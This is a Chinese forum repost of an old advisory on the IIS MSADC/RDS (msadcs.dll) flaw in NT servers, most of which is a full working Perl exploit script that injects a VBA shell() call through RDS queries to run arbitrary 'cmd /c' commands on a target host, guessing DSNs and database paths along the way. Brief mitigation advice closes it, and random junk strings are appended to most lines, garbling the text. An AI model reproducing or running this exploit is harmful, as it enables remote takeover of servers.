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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) luW <V>  
MWBXs7 5I  
涉及程序: W`#gpi)7N  
Microsoft NT server xME(B@j  
mR"uhm}q  
描述: It%T7 X#  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 o;3j:# 3 |  
-NAmu97V}  
详细: " Wp   
如果你没有时间读详细内容的话,就删除: <O;&qT*b  
c:\Program Files\Common Files\System\Msadc\msadcs.dll }dy9I H  
有关的安全问题就没有了。 A?e,U,  
r+o_t2_b*  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 X*0k>j  
wi>DZkR  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Y|mW.  
关于利用ODBC远程漏洞的描述,请参看: 1{^CfamF  
[!W5}=^H  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm R;WW f.#  
Q-[3j  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 a;%I\w;2  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 5)w4)K-%  
SGt5~T xj  
这里不再论述。 W:WQaF`2x  
cI5N"U@yN  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 5i6VZv  
(I[s3EnhS  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset > 84e`aGE  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 4 bn t=5]  
W/sY#"  
RF:04d  
#将下面这段保存为txt文件,然后: "perl -x 文件名" \UOm]z  
h{I`7X  
#!perl gt'*B5F(  
# 47KNT7C  
# MSADC/RDS 'usage' (aka exploit) script nh<Z1tMU  
# GSP?X$E  
# by rain.forest.puppy YNI;h%w  
# SgiDh dE  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me C#0brCQq3  
# beta test and find errors! EOhC6>ATh  
[O\9 9>  
use Socket; use Getopt::Std; ] @ufV  
getopts("e:vd:h:XR", \%args); B;V5x/  
I`NUurQTX  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ?z3]   
DY8(g=TI|1  
if (!defined $args{h} && !defined $args{R}) { Yr=8!iR$  
print qq~ sds}bo  
Usage: msadc.pl -h <host> { -d <delay> -X -v }  s'TY[  
-h <host> = host you want to scan (ip or domain) 7#ofNH J  
-d <seconds> = delay between calls, default 1 second ZNi +Aw$u  
-X = dump Index Server path table, if available teAukE=}  
-v = verbose J smB^  
-e = external dictionary file for step 5 ;`+`#h3-V  
m^Glc?g<  
Or a -R will resume a command session Ls1B \Aw_  
q(gjT^aN  
~; exit;} j1A|D   
pl|h>4af  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 9p4y>3  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 6|5H=*)DH  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} W2hA-1  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); )&:L'N  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Jld\8=  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 1 DqX:WM6  
h/HH Kn  
if (!defined $args{R}){ $ret = &has_msadc; >k;p.Pay%  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ~g7m3  
<[ZI.+_Wt  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" =G4u#t)  
. "cmd /c "; *1$    
$in=<STDIN>; chomp $in; P_&p=${  
$command="cmd /c " . $in ; ~@D/A/|  
A @2Bs 5F  
if (defined $args{R}) {&load; exit;} e\D| o?v  
RJhK$\  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ?`H[u7*%  
&try_btcustmr; P#MK  
et` 0Je  
print "\nStep 2: Trying to make our own DSN..."; QD$Gw-U-l=  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; )S*1C@  
<: :VCA%  
print "\nStep 3: Trying known DSNs..."; $Asr`Q1i   
&known_dsn; m'bi\1Q  
*C7F2o  
print "\nStep 4: Trying known .mdbs..."; R 5(F)abi  
&known_mdb; '#q4Bc1  
bY)#v?  
if (defined $args{e}){ JRY_ nX  
print "\nStep 5: Trying dictionary of DSN names..."; Zj!Abji=O  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Ys3uPs  
35_)3 R)  
print "Sorry Charley...maybe next time?\n"; e>AXXUEf  
exit; |@wyC0k!  
f@d9Hqr+l;  
############################################################################## e)b%`ntF  
($8t%jVWJJ  
sub sendraw { # ripped and modded from whisker I]9 C_  
sleep($delay); # it's a DoS on the server! At least on mine... \f%.n]>  
my ($pstr)=@_; 8EI:(NE*J  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || >g}G}=R~3  
die("Socket problems\n"); 6pp$-uS  
if(connect(S,pack "SnA4x8",2,80,$target)){ RV;!05^<  
select(S); $|=1; :$ %>4+l  
print $pstr; my @in=<S>; Qnt5HSSt  
select(STDOUT); close(S); `*_CElpP"  
return @in; t,HFz6   
} else { die("Can't connect...\n"); }} ! %Ny0JkO  
?aWx(dVQ  
############################################################################## jn=:G+0  
Ilq=wPD}j  
sub make_header { # make the HTTP request R5(T([w'  
my $msadc=<<EOT RB$ z]/=  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 [Y8S[YY  
User-Agent: ACTIVEDATA cbYK5fj"T  
Host: $ip (s&&>M]r_  
Content-Length: $clen y vI<4F  
Connection: Keep-Alive |<c WllN  
"HK/u(z)  
ADCClientVersion:01.06 J'Sm0  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 D(\$i.,b2  
Bm/YgQi  
--!ADM!ROX!YOUR!WORLD! r,;\/^u*  
Content-Type: application/x-varg xaW{I7FfG  
Content-Length: $reqlen i=rH7k  
 uMd. j$$  
EOT BJy;-(JP  
; $msadc=~s/\n/\r\n/g; +>tUz D  
return $msadc;} g7n "  
U>Gg0`>  
############################################################################## qZ+H5AG2  
!Zjq9{t\"  
sub make_req { # make the RDS request D*2\{W/  
my ($switch, $p1, $p2)=@_; Gu;OV LR|  
my $req=""; my $t1, $t2, $query, $dsn; ;;#`#v  
tj5giQ3DG)  
if ($switch==1){ # this is the btcustmr.mdb query z7T0u.4Ss  
$query="Select * from Customers where City=" . make_shell(); tC)6  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 6N" l{!  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ~x]9SXD%  
27#5y_ `  
elsif ($switch==2){ # this is general make table query D$q'FZH  
$query="create table AZZ (B int, C varchar(10))"; RN9;kB)c  
$dsn="$p1";} :L:&t,X  
fY W|p<Q0  
elsif ($switch==3){ # this is general exploit table query 93o;n1rS  
$query="select * from AZZ where C=" . make_shell(); OH'ea5x q  
$dsn="$p1";} "rNL `P7  
SSA W52xC  
elsif ($switch==4){ # attempt to hork file info from index server Z^ar.boc  
$query="select path from scope()"; |.U)ll(c  
$dsn="Provider=MSIDXS;";} Adx`8}N8  
$/Ov2z  
elsif ($switch==5){ # bad query VW<0Lt3  
$query="select"; (.23rVvnT@  
$dsn="$p1";} DL8x":;  
@S3f:s0~D  
$t1= make_unicode($query); 7o]HQ[xO  
$t2= make_unicode($dsn); )jDJMi_[  
$req = "\x02\x00\x03\x00"; 6Q Zp@  
$req.= "\x08\x00" . pack ("S1", length($t1)); ^}$O|t  
$req.= "\x00\x00" . $t1 ; &c%Y<1e`%  
$req.= "\x08\x00" . pack ("S1", length($t2)); 0XU}B\'<  
$req.= "\x00\x00" . $t2 ; n}nEcXb  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ,wj"! o#  
return $req;} jndGiMA  
Qa4MZj ;$K  
############################################################################## EgM*d)X  
JL^2l$up  
sub make_shell { # this makes the shell() statement ]?LB?:6  
return "'|shell(\"$command\")|'";} zP)~a  
iiC!|`k"  
############################################################################## D4u% 6R|F  
WAPhv-6  
sub make_unicode { # quick little function to convert to unicode S#l5y%&  
my ($in)=@_; my $out; p]T"|!d  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Z-X?JA\&  
return $out;} {?8B,G2r  
{eT.SO  
############################################################################## I 3$dVls}  
MaY682}|y  
sub rdo_success { # checks for RDO return success (this is kludge) v"O5u%P  
my (@in) = @_; my $base=content_start(@in); e2)autBe  
if($in[$base]=~/multipart\/mixed/){ mUP.rb6  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} `V!>J 1x  
return 0;} :d,^I@]  
ajH"Jy3A  
############################################################################## N#z~  
} cNW^4F  
sub make_dsn { # this makes a DSN for us ~Y!kB:D5;~  
my @drives=("c","d","e","f"); MuI2?:~:*4  
print "\nMaking DSN: "; U1R4x!ym4  
foreach $drive (@drives) { E6MA?Ax&=  
print "$drive: "; TnH\O$  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . SNpi=K!yn  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" wdas1  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 3HC  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; }}{Yw  
return 0 if $2 eq "404"; # not found/doesn't exist H=^K@Ti:  
if($2 eq "200") { H)(jh  
foreach $line (@results) { Ey `h1 Y  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Gc,_v3\  
} return 0;} p Pro }@@  
XNH4vG |  
############################################################################## NL"G2[e  
)A8v];.]3  
sub verify_exists { `BXS)xj  
my ($page)=@_; hZ$t$3  
my @results=sendraw("GET $page HTTP/1.0\n\n"); dp5cDF}l  
return $results[0];} ku&k'V  
`` K#}3  
############################################################################## Xyx"A(v^l  
~Ci{3j :]  
sub try_btcustmr { iz[gHB  
my @drives=("c","d","e","f"); MgMD\  
my @dirs=("winnt","winnt35","winnt351","win","windows"); lS5ny  
<i. a pBH  
foreach $dir (@dirs) { {S.>BXX  
print "$dir -> "; # fun status so you can see progress nms8@[4-  
foreach $drive (@drives) { Kq6jw/T  
print "$drive: "; # ditto A;X=bj _&a  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 45 >XKr.%  
$reqlenlen=length( "$reqlen" ); chI.{Rj  
$clen= 206 + $reqlenlen + $reqlen;  :$r ^_  
YA]5~ ZE\  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); KLWDo%%u  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} evuZY X@  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} BOVPKX  
Q[4: xkU  
############################################################################## Dt}rR[yJ  
_=XX~^I,  
sub odbc_error { 6dqsFns}e  
my (@in)=@_; my $base; ^"8wUsP  
my $base = content_start(@in); Hf gz02Z$  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this b7:0#l$  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; V|D] M{O  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; X@A1#z+s0]  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; %eWqQ3{P]  
return $in[$base+4].$in[$base+5].$in[$base+6];} }Fb!?['G5  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 4"?^UBr  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . SX0_v_%M  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} N@T.T=r  
ed!>)Cb  
############################################################################## V A^l+Z,d  
T]9\VW4  
sub verbose { es:2M |#O  
my ($in)=@_; 6QQfQ,  
return if !$verbose; tOl e>]  
print STDOUT "\n$in\n";} u{H?4|'(  
!  NV#U  
############################################################################## kSncZ0K{  
j Ch=@<9  
sub save { Q4]4@96Aj  
my ($p1, $p2, $p3, $p4)=@_; {Tp2H_EG  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 6=GZLpv  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; YUWn;#  
close OUT;} W&Y"K)`  
VyLH"cCv  
############################################################################## (=x"Y{%  
D@ek9ARAq  
sub load { I27,mS+]  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; #o`Ny4sq/  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ` |Z}2vo;j  
@p=<IN>; close(IN); kma?v B  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); <cN~jv-w$  
$target= inet_aton($ip) || die("inet_aton problems"); m:QG}{<.h  
print "Resuming to $ip ..."; B^ 7eoW  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; r),PtI0X  
if($p[1]==1) { 7*+]wEs  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; >p\e 0n  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; )(M7lq.e7  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); %:v`EjRD0  
if (rdo_success(@results)){print "Success!\n";} =qVP]  9  
else { print "failed\n"; verbose(odbc_error(@results));}} Y-!YhWsS  
elsif ($p[1]==3){ :a[Ihqfg  
if(run_query("$p[3]")){ tA.`k;LT  
print "Success!\n";} else { print "failed\n"; }} 22hSove.  
elsif ($p[1]==4){ V<Z'(UI  
if(run_query($drvst . "$p[3]")){ -T@`hk`  
print "Success!\n"; } else { print "failed\n"; }} ~EiH-z4U  
exit;} PyC0Q\$%  
(?)7)5H  
############################################################################## \;5\9B"i  
U\@A _ B  
sub create_table { w*7|dZk{  
my ($in)=@_; Wzq>JNn y  
$reqlen=length( make_req(2,$in,"") ) - 28; c~}l8M %  
$reqlenlen=length( "$reqlen" ); )Q;978:  
$clen= 206 + $reqlenlen + $reqlen; M)-6T{[IT  
my @results=sendraw(make_header() . make_req(2,$in,"")); {2d_"lHBt  
return 1 if rdo_success(@results); $RX'(/  
my $temp= odbc_error(@results); verbose($temp); &n2e  
return 1 if $temp=~/Table 'AZZ' already exists/; + xv!$gJEj  
return 0;} z`Wt%tL(  
oih5B<&f#  
############################################################################## dIwe g=x  
t:~t@4j}  
sub known_dsn { TA18 gq  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go LwqC ~N  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", -;(Q1)&  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", jR ~DToQ  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); !v|ISyK  
IE~%=/|  
foreach $dSn (@dsns) { *hhmTc#  
print "."; l(W[_ D  
next if (!is_access("DSN=$dSn")); 4Aes#{R3v  
if(create_table("DSN=$dSn")){ pE]?x $5U  
print "$dSn successful\n"; &$FvWFRh#  
if(run_query("DSN=$dSn")){ Y qdWctUY  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { e9pOisZ;8  
print "Something's borked. Use verbose next time\n";}}} print "\n";} \5 pu|2u  
Fe&qwq"  
############################################################################## +YY8h>hj  
83~ i:+;  
sub is_access { pcS+o  
my ($in)=@_; b}9[s  
$reqlen=length( make_req(5,$in,"") ) - 28; }l0&a!C  
$reqlenlen=length( "$reqlen" ); | $^;wP  
$clen= 206 + $reqlenlen + $reqlen;  P\m7 -  
my @results=sendraw(make_header() . make_req(5,$in,"")); ]DG?R68DQ  
my $temp= odbc_error(@results); >Q E{O.Z  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 9-1#( Y6S  
return 0;} \0;(VLN'U  
*O$CaAr\s  
############################################################################## 8;P2A\ X  
^>&k]T`  
sub run_query { NUJ~YWO;  
my ($in)=@_; 9<E g}Ic  
$reqlen=length( make_req(3,$in,"") ) - 28; mdih-u(T|  
$reqlenlen=length( "$reqlen" ); rZ1Hf11C  
$clen= 206 + $reqlenlen + $reqlen; !cW[G/W8  
my @results=sendraw(make_header() . make_req(3,$in,"")); $o?@ 0  
return 1 if rdo_success(@results); eJ8]g49mD6  
my $temp= odbc_error(@results); verbose($temp); ?8@>6 IXn  
return 0;} Ds8 EMtS  
p0p4Xh1 e  
############################################################################## FyL_xu\e  
e;YW6}'}  
sub known_mdb { f&@BKx  
my @drives=("c","d","e","f","g"); X&m'.PA  
my @dirs=("winnt","winnt35","winnt351","win","windows"); U]~^ZR  
my $dir, $drive, $mdb; @DAF 6ygs  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; <G8w[hs  
%GEJnJ  
# this is sparse, because I don't know of many Rf %HIAVE  
my @sysmdbs=( "\\catroot\\icatalog.mdb", hjx)D  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", |+IZS/W"  
"\\system32\\certmdb.mdb", J'&# mDU  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% hqSJ(gs{  
!/{+WHxIr|  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", h~Q)Uy5N(D  
"\\cfusion\\cfapps\\forums\\forums_.mdb", C_fY %O  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", V,v[y\  
"\\cfusion\\cfapps\\security\\realm_.mdb", hIv@i\`  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ( n{wg(R  
"\\cfusion\\database\\cfexamples.mdb", B@v\eF;  
"\\cfusion\\database\\cfsnippets.mdb", `<"m%>  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", `D5HC  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", i7[uLdQ  
"\\cfusion\\brighttiger\\database\\cleam.mdb", `BFIC7a  
"\\cfusion\\database\\smpolicy.mdb", ~:Uw g+]j  
"\\cfusion\\database\cypress.mdb", kdx y\ jA  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 2 +5e0/_V  
"\\website\\cgi-win\\dbsample.mdb", ,SlN zR  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 0o&MB Dp  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" =4!nFi  
); #these are just lG<hlYckv  
foreach $drive (@drives) { ^t "iX9  
foreach $dir (@dirs){ cTZ.}eLh  
foreach $mdb (@sysmdbs) { ,hxkk`  
print "."; \[2lvft!  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ $gle8Z-  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; >?W[PQ5yx  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ &Bb<4R  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; @+,pN6}g  
} else { print "Something's borked. Use verbose next time\n"; }}}}} "$HbK @]!h  
[f~N_G6I^o  
foreach $drive (@drives) { o/cjXun*  
foreach $mdb (@mdbs) { :7N3N  
print "."; 8 (jUe  
if(create_table($drv . $drive . $dir . $mdb)){ wRNroQ  
print "\n" . $drive . $dir . $mdb . " successful\n"; =dP{Gh  
if(run_query($drv . $drive . $dir . $mdb)){ c>bq%}  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 2LY=D L7  
} else { print "Something's borked. Use verbose next time\n"; }}}} QvPD8B  
} -5G)?J/*  
3+7^uR$/I4  
############################################################################## 1{"llD  
?z-}>$I;  
sub hork_idx { ^>4o$}  
print "\nAttempting to dump Index Server tables...\n"; OvL\u{(<F  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; %rKK[  
$reqlen=length( make_req(4,"","") ) - 28; o@>? *=  
$reqlenlen=length( "$reqlen" ); JHn*->m  
$clen= 206 + $reqlenlen + $reqlen; }]P4-KqI  
my @results=sendraw2(make_header() . make_req(4,"","")); q!'rz  
if (rdo_success(@results)){ Z@D*1\TG=  
my $max=@results; my $c; my %d; X+8B!F  
for($c=19; $c<$max; $c++){ |tMn={  
$results[$c]=~s/\x00//g; /x@RNdKv  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; c2SC|s]  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; DmqX"x%P  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; zRl~^~sY  
$d{"$1$2"}="";} DLPUqKL]  
foreach $c (keys %d){ print "$c\n"; } +';>=hha  
} else {print "Index server doesn't seem to be installed.\n"; }} E|"=. T  
{43yb_B(  
############################################################################## i?;r7>  
g8;D/  
sub dsn_dict { mo]KCi  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); `RQ#.   
while(<IN>){ 92W&x'  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; DLE8+NV8   
next if (!is_access("DSN=$dSn")); C2e.2)y  
if(create_table("DSN=$dSn")){ '$|UwT`s  
print "$dSn successful\n"; G*[P <<je_  
if(run_query("DSN=$dSn")){ ig"uXs  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { %6j)=IOts  
print "Something's borked. Use verbose next time\n";}}} 0 5\dl  
print "\n"; close(IN);} qf'm=efRyu  
dBC bL.!  
############################################################################## @pV5}N[]  
XP[uF ;w  
sub sendraw2 { # ripped and modded from whisker D.!~dyI.,$  
sleep($delay); # it's a DoS on the server! At least on mine... > Vb@[  
my ($pstr)=@_; <M?:  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || D?jk$^p~m#  
die("Socket problems\n"); qgt[~i*  
if(connect(S,pack "SnA4x8",2,80,$target)){ USJ- e  
print "Connected. Getting data"; 2pHR_mrb  
open(OUT,">raw.out"); my @in; xk~IN%\  
select(S); $|=1; print $pstr; UAS@R`?cI  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} %9C@ Xl  
close(OUT); select(STDOUT); close(S); return @in; N8cAqr  
} else { die("Can't connect...\n"); }} FaTa(3$%  
YO)$M-]>%J  
############################################################################## $V>98M>j  
A?5E2T1L%.  
sub content_start { # this will take in the server headers D:\g,\Z  
my (@in)=@_; my $c; Id'RL2Kq*&  
for ($c=1;$c<500;$c++) { .@ C{3$,VG  
if($in[$c] =~/^\x0d\x0a/){ =`n]/L"Q  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } eg+!*>GaX  
else { return $c+1; }}} N<|$h5isq  
return -1;} # it should never get here actually 8$N8}q%  
~`;rNnOT3  
############################################################################## O^>jdl!TZ  
UCrh/bTm  
sub funky { 3CjL\pIC  
my (@in)=@_; my $error=odbc_error(@in); l7(!`NPbC  
if($error=~/ADO could not find the specified provider/){ 6Z?j AXGSq  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; K[\'"HyQ,X  
exit;} yj6@7@l>A  
if($error=~/A Handler is required/){ rI$`9d  
print "\nServer has custom handler filters (they most likely are patched)\n"; 57{oh")  
exit;} {)f~#37  
if($error=~/specified Handler has denied Access/){ ExSe=4q#  
print "\nServer has custom handler filters (they most likely are patched)\n"; G}@#u9  
exit;}} j Ib  
DH DZ_t:  
############################################################################## eg"Gjp- 4=  
_zxLwU1(x  
sub has_msadc { ulHn#)  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 4Q=ftY<  
my $base=content_start(@results); .N4  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); =! Vf  
return 0;} D*5hrkV9  
j;yf8Nf  
######################## $m1<i?'m  
>e5 *prx+  
;cQW sTfT  
解决方案: 5 v^yQ<70  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll HWns.[  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ;^ wd_  
uy_wp^  
拿出来充数 哈哈
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